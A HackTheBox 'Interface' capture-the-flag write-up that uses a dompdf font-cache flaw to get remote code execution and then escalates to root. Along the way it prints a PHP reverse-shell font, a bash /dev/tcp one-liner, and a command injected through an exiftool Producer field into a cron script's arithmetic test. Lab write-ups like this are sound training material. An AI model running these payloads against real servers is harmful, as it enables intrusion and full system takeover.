HackTheBox - Interface Writeup
Table of Contents
Recon #
Firstly, we run nmap
:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ nmap -A -T5 10.10.11.200
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-05 10:01 CEST
Nmap scan report for 10.10.11.200
Host is up (0.041s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7289a0957eceaea8596b2d2dbc90b55a (RSA)
| 256 01848c66d34ec4b1611f2d4d389c42c3 (ECDSA)
|_ 256 cc62905560a658629e6b80105c799b55 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site Maintenance
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.22 seconds
Here is the website:
By looking at the source code, we found a contact address and so the domain name:
Let’s add the domain to our /etc/hosts
file.
I’ve tried to enumerate directories and subdomain but I found nothing.
Subdomain enumeration #
So, I decide to look deeper at the http requests:
We can see that there is a subdomain on the response:
prd.m.rendering-api.interface.htb
Directories enumeration #
Let’s enumerate directories:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ wfuzz -c --hh 0 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://prd.m.rendering-api.interface.htb/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://prd.m.rendering-api.interface.htb/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 404 1 L 3 W 16 Ch "# directory-list-2.3-medium.txt"
000000007: 404 1 L 3 W 16 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000003: 404 1 L 3 W 16 Ch "# Copyright 2007 James Fisher"
000000014: 404 1 L 3 W 16 Ch "http://prd.m.rendering-api.interface.htb/"
000000013: 404 1 L 3 W 16 Ch "#"
000000012: 404 1 L 3 W 16 Ch "# on at least 2 different hosts"
000000006: 404 1 L 3 W 16 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000000008: 404 1 L 3 W 16 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000000004: 404 1 L 3 W 16 Ch "#"
000000011: 404 1 L 3 W 16 Ch "# Priority ordered case-sensitive list, where entries were found"
000000010: 404 1 L 3 W 16 Ch "#"
000000002: 404 1 L 3 W 16 Ch "#"
000000005: 404 1 L 3 W 16 Ch "# This work is licensed under the Creative Commons"
000000009: 404 1 L 3 W 16 Ch "# Suite 300, San Francisco, California, 94105, USA."
000001026: 404 0 L 3 W 50 Ch "api"
000001481: 403 1 L 2 W 15 Ch "vendor"
Let’s try to further enumerate /vendor
:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ wfuzz -c --hh 0 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://prd.m.rendering-api.interface.htb/vendor/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://prd.m.rendering-api.interface.htb/vendor/FUZZ
Total requests: 30000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000004255: 404 1 L 3 W 16 Ch "http://prd.m.rendering-api.interface.htb/vendor/"
000009010: 403 1 L 2 W 15 Ch "dompdf"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 0
Processed Requests: 21240
Filtered Requests: 21238
Requests/sec.: 0
We found /dompdf
.
As we found /api
previously, let’s see if it returns something:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ curl http://prd.m.rendering-api.interface.htb/api
{"status":"404","status_text":"route not defined"}
Then, by further enumerating the /api
endpoint, we found a html2pdf
directory:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ wfuzz -c -X POST --hh 50 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://prd.m.rendering-api.interface.htb/api/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://prd.m.rendering-api.interface.htb/api/FUZZ
Total requests: 30000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000006080: 422 0 L 2 W 36 Ch "html2pdf"
API Fuzzing #
By making a POST request, we can see that we are missing parameters:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ curl -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf
{"status_text":"missing parameters"}
So, I decide to fuzz for parameters:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/interface]
└─$ wfuzz -c -X POST --hc 422 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt -u http://prd.m.rendering-api.interface.htb/api/html2pdf
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://prd.m.rendering-api.interface.htb/api/html2pdf
Total requests: 3132
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000872: 200 76 L 184 W 1130 Ch "html"
Total time: 0
Processed Requests: 3132
Filtered Requests: 3131
Requests/sec.: 0
As we found html2pdf
and dompdf
, there is a possibility that the html
parameter is used to specify an html page to be converted in pdf.
So, I decided to make some researches about that.
Exploit #
And I found this exploit.
Firstly, the exploit.css
file will be requested through our html
parameter. It’s a malicious css
because it will download a malicious php
font:
┌──(parallels㉿kali-linux-2022-2)-[~/…/htb/interface/dompdf-rce/exploit]
└─$ cat exploit.css
@font-face {
font-family:'exploitfont';
src:url('http://10.10.14.66:8000/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}
Then, there is the php
font. It will execute phpinfo()
:
┌──(parallels㉿kali-linux-2022-2)-[~/…/htb/interface/dompdf-rce/exploit]
└─$ cat exploit_font.php
� dum1�cmap
`�,glyf5sc��head�Q6�6hhea��($hmtxD
loca
Tmaxp\ nameD�|8dum2�
-��-����
:83#5:08��_<�
@�8�&۽
:8L��
:D
6 s
<?php phpinfo(); ?>
Now let’s start a simple server and request the malicious css
:
┌──(parallels㉿kali-linux-2022-2)-[~/…/htb/interface/dompdf-rce/exploit]
└─$ curl -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf -d '{"html": "<link rel=stylesheet href=http://10.10.14.66:8000/exploit.css"}'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
We can see that it works:
┌──(parallels㉿kali-linux-2022-2)-[~/…/htb/interface/dompdf-rce/exploit]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.200 - - [05/May/2023 17:00:55] "GET /exploit.css HTTP/1.0" 200 -
10.10.11.200 - - [05/May/2023 17:00:55] "GET /exploit_font.php HTTP/1.0" 200 -
But now, we need to find where trigger the php
file. Because the font file is stored in cache.
The following article explains well where it’s stored.
A font fetched from http://10.10.14.66:8000/reverse_font.php
will be stored as reversefont_normal_efb2648023539b3eb0558f5da51b4241.php
efb2648023539b3eb0558f5da51b4241
correspondig to:
➜ ~ md5 -s "http://10.10.14.66:8000/reverse_font.php"
MD5 ("http://10.10.14.66:8000/reverse_font.php") = efb2648023539b3eb0558f5da51b4241
Here is the reverse_font.php
file:
� dum1�cmap
`�,glyf5sc��head�Q6�6hhea��($hmtxD
loca
Tmaxp\ nameD�|8dum2�
-��-����
:83#5:08��_<�
@�8�&۽
:8L��
:D
6 s
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.66/1234 0>&1'"); ?>
Then, we can trigger the reverse shell:
┌──(parallels㉿kali-linux-2022-2)-[~/…/htb/interface/dompdf-rce/exploit]
└─$ curl http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/reversefont_normal_efb2648023539b3eb0558f5da51b4241.php
<html>
<head><title>504 Gateway Time-out</title></head>
<body bgcolor="white">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>
And we get back a shell on our listener:
┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.66] from (UNKNOWN) [10.10.11.200] 60056
bash: cannot set terminal process group (1248): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4$ whoami
whoami
www-data
Root PrivEsc #
After some enumeration, I decided to run pspy64
:
bash-4.4$ ./pspy64
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/05/05 15:54:54 CMD: UID=33 PID=24892 | ./pspy64
2023/05/05 15:54:54 CMD: UID=0 PID=24817 |
2023/05/05 15:54:54 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity
2023/05/05 15:55:01 CMD: UID=0 PID=24904 | find /var/www/api/vendor/dompdf/dompdf/lib/fonts/ -type f -cmin -5 -exec rm {} ;
2023/05/05 15:55:01 CMD: UID=0 PID=24903 | /bin/bash /root/clean.sh
2023/05/05 15:55:01 CMD: UID=0 PID=24902 | /bin/sh -c /root/clean.sh
2023/05/05 15:55:01 CMD: UID=0 PID=24901 | /usr/sbin/CRON -f
2023/05/05 15:55:01 CMD: UID=0 PID=24905 | rm /var/www/api/vendor/dompdf/dompdf/lib/fonts/dompdf_font_family_cache.php
2023/05/05 15:55:01 CMD: UID=0 PID=24906 | cp /root/font_cache/dompdf_font_family_cache.php.bak /root/font_cache/dompdf_font_family_cache.php
2023/05/05 15:55:01 CMD: UID=0 PID=24908 |
2023/05/05 15:55:01 CMD: UID=0 PID=24909 | chgrp www-data /root/font_cache/dompdf_font_family_cache.php
2023/05/05 15:55:01 CMD: UID=0 PID=24910 | mv /root/font_cache/dompdf_font_family_cache.php /var/www/api/vendor/dompdf/dompdf/lib/fonts/dompdf_font_family_cache.php
2023/05/05 15:56:01 CMD: UID=0 PID=24913 | /bin/bash /usr/local/sbin/cleancache.sh
2023/05/05 15:56:01 CMD: UID=0 PID=24912 | /bin/sh -c /usr/local/sbin/cleancache.sh
2023/05/05 15:56:01 CMD: UID=0 PID=24911 | /usr/sbin/CRON -f
2023/05/05 15:56:01 CMD: UID=0 PID=24914 | /bin/bash /usr/local/sbin/cleancache.sh
2023/05/05 15:56:01 CMD: UID=0 PID=24916 | cut -d -f1
2023/05/05 15:56:01 CMD: UID=0 PID=24915 | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/0le
2023/05/05 15:56:01 CMD: UID=0 PID=24917 | /bin/bash /usr/local/sbin/cleancache.sh
2023/05/05 15:56:01 CMD: UID=0 PID=24918 | /bin/bash /dev/shm/0le.sh
2023/05/05 15:56:01 CMD: UID=0 PID=24922 | cut -d -f1
2023/05/05 15:56:01 CMD: UID=0 PID=24921 | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/0le_original
2023/05/05 15:56:01 CMD: UID=0 PID=24920 | /bin/bash /usr/local/sbin/cleancache.sh
2023/05/05 15:56:01 CMD: UID=0 PID=24924 | /bin/bash /dev/shm/0le.sh
2023/05/05 15:56:01 CMD: UID=0 PID=24923 | /bin/bash /usr/local/sbin/cleancache.sh
2023/05/05 15:56:01 CMD: UID=0 PID=24925 | chmod +s /bin/bash
2023/05/05 15:56:01 CMD: UID=0 PID=24928 | cut -d -f1
2023/05/05 15:56:01 CMD: UID=0 PID=24927 | /bin/bash /usr/local/sbin/cleancache.sh
2023/05/05 15:56:01 CMD: UID=0 PID=24926 | /bin/bash /usr/local/sbin/cleancache.sh
2023/05/05 15:57:38 CMD: UID=0 PID=24931 |
2023/05/05 15:58:01 CMD: UID=0 PID=24932 | /usr/sbin/CRON -f
2023/05/05 15:58:01 CMD: UID=0 PID=24934 | /bin/bash /usr/local/sbin/cleancache.sh
2023/05/05 15:58:01 CMD: UID=0 PID=24933 | /bin/sh -c /usr/local/sbin/cleancache.sh
2023/05/05 15:58:01 CMD: UID=0 PID=24937 | cut -d -f1
2023/05/05 15:58:01 CMD: UID=0 PID=24936 | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/0le
2023/05/05 15:58:01 CMD: UID=0 PID=24935 | /bin/bash /usr/local/sbin/cleancache.sh
2023/05/05 15:58:01 CMD: UID=0 PID=24940 | /bin/bash /dev/shm/0le.sh
2023/05/05 15:58:01 CMD: UID=0 PID=24939 | /bin/bash /dev/shm/0le.sh
2023/05/05 15:58:01 CMD: UID=0 PID=24938 | /bin/bash /usr/local/sbin/cleancache.sh
2023/05/05 15:58:01 CMD: UID=0 PID=24943 | cut -d -f1
2023/05/05 15:58:01 CMD: UID=0 PID=24942 | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/0le_original
2023/05/05 15:58:01 CMD: UID=0 PID=24941 | /bin/bash /usr/local/sbin/cleancache.sh
2023/05/05 15:58:02 CMD: UID=0 PID=24945 |
2023/05/05 15:58:02 CMD: UID=0 PID=24944 | /bin/bash /usr/local/sbin/cleancache.sh
We can see that a bash script is executed, here it is:
bash-4.4$ cat /usr/local/sbin/cleancache.sh
cat /usr/local/sbin/cleancache.sh
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
if [[ -f "$cfile" ]]; then
meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
if [[ "$meta_producer" -eq "dompdf" ]]; then
echo "Removing $cfile"
rm "$cfile"
fi
fi
done
The [[ "$meta_producer" -eq "dompdf" ]]
can lead to command execution if we enter something like a[$(date >&2)]+dompdf
.
The full explanation is this blog post.
It means that if we success to update the producer field of one of the generated file, we’ll be able to execute arbitrary commands.
For example, here is the producer output for a pdf
file generated by dompdf
:
www-data@interface:/tmp$ exiftool -s -s -s -Producer 8ee853b362d3bb60049618232bd2ac70.pdf
<s -s -Producer 8ee853b362d3bb60049618232bd2ac70.pdf
dompdf 1.2.0 + CPDF
Now let’s try to update it in order to execute the id
command:
www-data@interface:/tmp$ exiftool -Producer='a[$(id)]+dompdf 1.2.0 + CPDF' 8ee853b362d3bb60049618232bd2ac70.pdf
< 1.2.0 + CPDF' 8ee853b362d3bb60049618232bd2ac70.pdf
1 image files updated
Well done !
www-data@interface:/tmp$ bash /usr/local/sbin/cleancache.sh
bash /usr/local/sbin/cleancache.sh
/usr/local/sbin/cleancache.sh: line 9: uid=33(www-data) gid=33(www-data) groups=33(www-data): syntax error in expression (error token is "(www-data) gid=33(www-data) groups=33(www-data)")
Now, we just need to make it add the suid bit to /bin/bash
. Firstly, we’ll create a bash script under /var/www
because we have the permission to write in this folder and under /tmp
he will be suppressed.
www-data@interface:/tmp$ cat /var/www/payload
cat /var/www/payload
#!/bin/bash
chmod u+s /bin/bash
Then, we update the producer filed as required:
www-data@interface:/tmp$ exiftool -Producer='a[$(/var/www/payload)]+dompdf 1.2.0 + CPDF' 8ee853b362d3bb60049618232bd2ac70.pdf
< 1.2.0 + CPDF' 8ee853b362d3bb60049618232bd2ac70.pdf
1 image files updated
Finally, we can see that the cron
has executed the script because the suid is present on /bin/bash
. We can execute ir order to become root !
www-data@interface:/tmp$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 18 2022 /bin/bash
www-data@interface:/tmp$ /bin/bash -p
/bin/bash -p
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
whoami
root